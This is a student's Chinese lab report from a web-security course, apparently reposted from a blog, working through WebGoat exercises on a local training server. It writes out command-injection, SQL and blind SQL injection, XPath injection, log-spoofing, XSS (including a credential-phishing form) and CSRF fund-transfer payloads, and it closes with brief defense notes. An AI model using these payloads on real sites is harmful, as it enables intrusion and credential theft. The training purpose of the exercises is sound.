Exp9 Web安全基础 ————20164316张子遥
一、实验内容
- 本实践的目标理解常用网络攻击技术的基本原理。
- 做不少于7个题目,包括SQL,XSS,CSRF。
- Webgoat实践下相关实验。
二、实验具体步骤
(一)环境配置
1.安装WebGoat
从学长博客的云盘里下载了WebGoat,输入命令java -jar webgoat-container-7.1-exec.jar运行WebGoat
2.然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面:
3.然后发现并没有左边的课程之类的。询问了同学发现是JDK的问题,需要下载版本低一点的JDK。以下是JDK安装过程
(1)将下载好的JDK包提取出来,开始拷贝目录 ,手动安装 (注意文件夹名根据自己的实际情况来设定)
sudo mkdir -p /usr/local/java
cp-r jdk-8u11-linux-x64/ /usr/local/java/
(2)配置JDK的环境变量输入命令 sudo gedit /etc/profile ,复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)
JAVA_HOME=/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
(3)告诉系统JDK的位置,并设置新的JDK为默认。(命令需要输两次,执行两次)
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/java" 1sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javac" 1sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javasudo update-alternatives --set java /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javasudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javacsudo update-alternatives --set javac /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javacsudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javawssudo update-alternatives --set javaws /usr/local/java/jdk-8u11-linux-x64/jdk1.8.0_11/bin/javaws
(4)重载Profile文件,输入命令 java -version 查看Java版本号
(5)成功访问webgoat
(二)SQL注入攻击
1.命令注入(Command Injection)
原理:在正常的参数提交过程中,添加恶意的代码,从而获得一些信息。
(1)右键表单选择框的下拉框,选择Inspect Element(Q),然后修改源代码,在任意位置加上 & netstat -an & ipconfig
(2)点击网页中的 view 按钮,就能在网页下面看到系统的网络连接情况了
2.数字型SQL注入(Numeric SQL Injection)
原理大概就是这里有一个SQL语句 SELECT * FROM weather_data WHERE station = [station] ,可以拦截报文将station字段后补充成一个永真式101 OR 1=1。
(1)右键网页,点击inspect Element
,查看并编辑网页源代码,在option value
中加入恒等真式or 1=1
(2)由于1=1恒成立,点击go,看到所有城市的天气,成功。
3.Log Spoofing
日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志。
(1)在Username输入 20164316%0d%0aLogin Succeeded for username: admin 其中%0d和%0a为CRLF换行符
(2)点击login in
就可以看到成功啦
4.XPATH Injection
意思大概是你的账号是Mike/test123,目标是尝试查看其他员工的数据,通过尝试构造永真式来实现。
(1)在User Name
中输入永真式 4316zzy ' or 1=1 or 'a' ='a
(2)点击submit
就可以看到所有员工的数据了
5.LAB: SQL Injection之String SQL Injection
原理:应用程序会将您的输入带入后台的 SQL 查询语句,使用SQL注入绕过认证。
(1)由于密码的长度有限制,所以我们先修改密码输入框的允许输入长度。将maxlength
设置为25甚至更大。
(2)就可以以admin
的身份登录,密码框里输入 ' or 1=1 -- ,然后就能成功以John
的身份登录成功。可以查看任意用户的信息等等。
6.LAB: SQL Injection之Numeric SQL Injection
绕过认证执行SQL注入,使登录Larry账户,但是能查看Boss的信息。和之前的想法一样,我们只需将employee_id参数修改为: 101 or 1=1 order by salary desc
7.Blind Numeric SQL Injection
数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
(1)使用盲注进行爆破,在“Enter your Account Number”输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
(2)如果页面提示帐号有效,说明 PIN>10000
否则PIN<=10000
。不断调整数值,可以缩小判断范围,并最终判断出 PIN 数值的大小。
(3)最终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
8.Blind String SQL Injection
使用盲注进行爆破,在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:
(三)Cross-Site Scripting (XSS)
1.Phishing with XSS
(1)使用XSS和HTML插入制作一个钓鱼网站,代码如下:
</form><script>function hack(){ XSSImage=newImage; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name =" + document.phish.user.value + "Password =" +document.phish.pass.value); }</script> <form name="phish"> <br><br> <HR><H2>This feature requires account login:</H2> <br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"> <br><input type="submit" name="login" value="login" οnclick="hack()"> </form> <br> <br> <HR>
(2)点击search
后,下拉网页就可以看到输入框了,在里面输入任意字符,点击login
,就可以看到攻击成功了
2.Stored XSS Attacks
最典型的储存型XSS的例子——留言板,因为可以输入任何信息,如果有人进行了恶意留言,那么之后的人便会中招。
(1)在Title里输入“Test Stored XSS”,在 Message里输入
<script>alert("20164316zzy!");</script>
(2)点击生成的留言板就能攻击成功。
3.Reflected XSS Attacks
(1)在Enter your three digit access code
中输入如下代码: <script>alert('20164316zhangziyao attack!')</script> 。
(2) 点击Purchase
,成功显示警告框,内容为我们script脚本写的20164316zhangziyao attack!。攻击成功。
(四)CSRF
1.Cross Site Request Forgery(CSRF)
实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
(1)在Title输入:4316zzy,在Message输入:
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
(2)点击“Submit”,在Message List下出现一条提交的记录,点击该链接,当前页面就会下载这个消息并显示出来。
2.CSRF Prompt By-Pass
(1)在Title输入:20164316zzy;在Message输入:
<iframesrc="attack?Screen=280&menu=900&transferFunds=5000"id="myFrame" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300"onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';"> </iframe><iframeid="frame2" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300"> </iframe>
(2)点击“Submit”,在Message List下出现一条提交的记录,点击该链接
三、实践基础问答
(1)SQL注入攻击原理,如何防御
- 原理:
程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。 - 防御:
就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,';等关键字和特殊字符都过滤了,或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)
(2)XSS攻击的原理,如何防御
- 原理:
XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。 - 防御:
与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。
(3)CSRF攻击原理,如何防御
- 原理:
跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。 - 防御:
使用验证码,表单中附加随机值,以此来防止冒充。
四、实践总结与体会
这是最后一次实验了,通过webgoat深入理解并运用了多种攻击,尝试了很多东西,可以说是非常有意思了,当然也碰到了很多问题,但是发现沉下心来认真解决还是很有成就感的!虽然有一些浪费时间...总的来说,这门课我收获良多,虽然也许在现实中并不能成功攻击他人,但是能够认识并且做出相应的防范了。学习到了不少的东西,也进行了多次的实践与尝试。
转载于:https://www.cnblogs.com/talank/p/10926718.html
Exp9 Web安全基础 ————20164316张子遥相关推荐
- Exp5 MSF基础应用 ——20164316张子遥
一. 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.一个主动攻击实践, ms04_011_lsass(失败) ms08_067_net ...
- 20165306 Exp9 Web安全基础
Exp9 Web安全基础 一.实验概述 0.WebGoat准备工作 (一)SQL注入攻击 1.命令注入(Command Injection) 2.数字型SQL注入(Numeric SQL Inject ...
- 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...
- 20164317《网络对抗技术》Exp9 Web安全基础
Exp9 Web安全基础 一.实践目标 理解常用网络攻击技术的基本原理. 在Webgoat,实践相关实验. SQL注入攻击 XSS攻击 CSRF攻击 二.实践过程 1.环境配置: 下好jar包然后放在 ...
- Exp9 Web安全基础
Exp9 Web安全基础 Injection Flaws攻击 命令注入(Command Injection) 数字型SQL注入(Numeric SQL Injection) 日志欺骗(Log Spo ...
- 2018-2019 20165208 网络对抗 Exp9 Web安全基础
目录 2018-2019 20165208 网络对抗 Exp9 Web安全基础 实验内容 基础问题回答 实践过程记录 1. WebGoat准备 2. SQL注入攻击 2.1 Command Injec ...
- 20155209 林虹宇 Exp9 Web安全基础
Exp9 Web安全基础 XSS 1.Phishing with XSS 跨站脚本攻击,在表单中输入超文本代码 在网页中形成一个自制的登陆表单,然后将结果反馈到自己的主机上. 攻击成功 2.Store ...
- 20155202《网络对抗》Exp9 web安全基础实践
20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...
- 2018-2019 20165226 Exp9 Web安全基础
2018-2019 20165226 Exp9 Web安全基础 目录 一.实验内容说明及基础问题回答 二.实验过程 Webgoat准备 XSS攻击 ① Phishing with XSS 跨站脚本钓鱼 ...
- 2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础
2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入 ...
最新文章
- java阅读题_java 练习题带答案
- 一文攻破枚举类型-C语言
- calico 跨主机容器网络通信
- html5画板功能,JS实现canvas简单小画板功能
- Linux下配置LVM
- 众望所归!中国机器狗能【后空翻】了。。。
- BrnShop开源网上商城第二讲:ASP.NET MVC框架
- 优秀技术人才需具备能力
- AJAX只支持字符类数据返回,不支持文件下载
- 64位ie加载java失败_java-无法在AMD 64位平台上加载IA 32位.dll
- (13)<datalist> 标签
- lisp抛物线插值_抛物线插值法
- python thread模块_【Python@Thread】thread模块
- windows + visual studio 2010 配置SVN
- 《IBM SPSS Modeler数据与文本挖掘实战》之社交网络分析
- 推荐系统-利用用户行为数据
- python小工具集_Python 小工具集合
- LeetCode:在线编程刷题网站
- nginx 配置静态网页
- 【HD Tune变红/警告】硬盘 SMART 检测参数详解
热门文章
- 考研数学公式默写记忆PDF
- iphonex蓝牙打不开转圈_多人反应iPhone X蓝牙连接时遇到问题
- K3终极折腾记<一>
- 苹果台式电脑怎么使用计算机,MAC电脑连接台式电脑显示器怎么操作
- python招聘杭州拉勾网_Python爬虫:爬取拉勾网招聘信息
- Spring Data Elasticsearch 基本语法及使用
- POJ 1118 Lining Up 叉积,三点共线。
- 华为交换机、路由器流量统计
- 同一服务器的跨库查询
- 台式电脑如何修复计算机,台式电脑没有声音了怎么恢复(在家用这两个方法轻松解决)...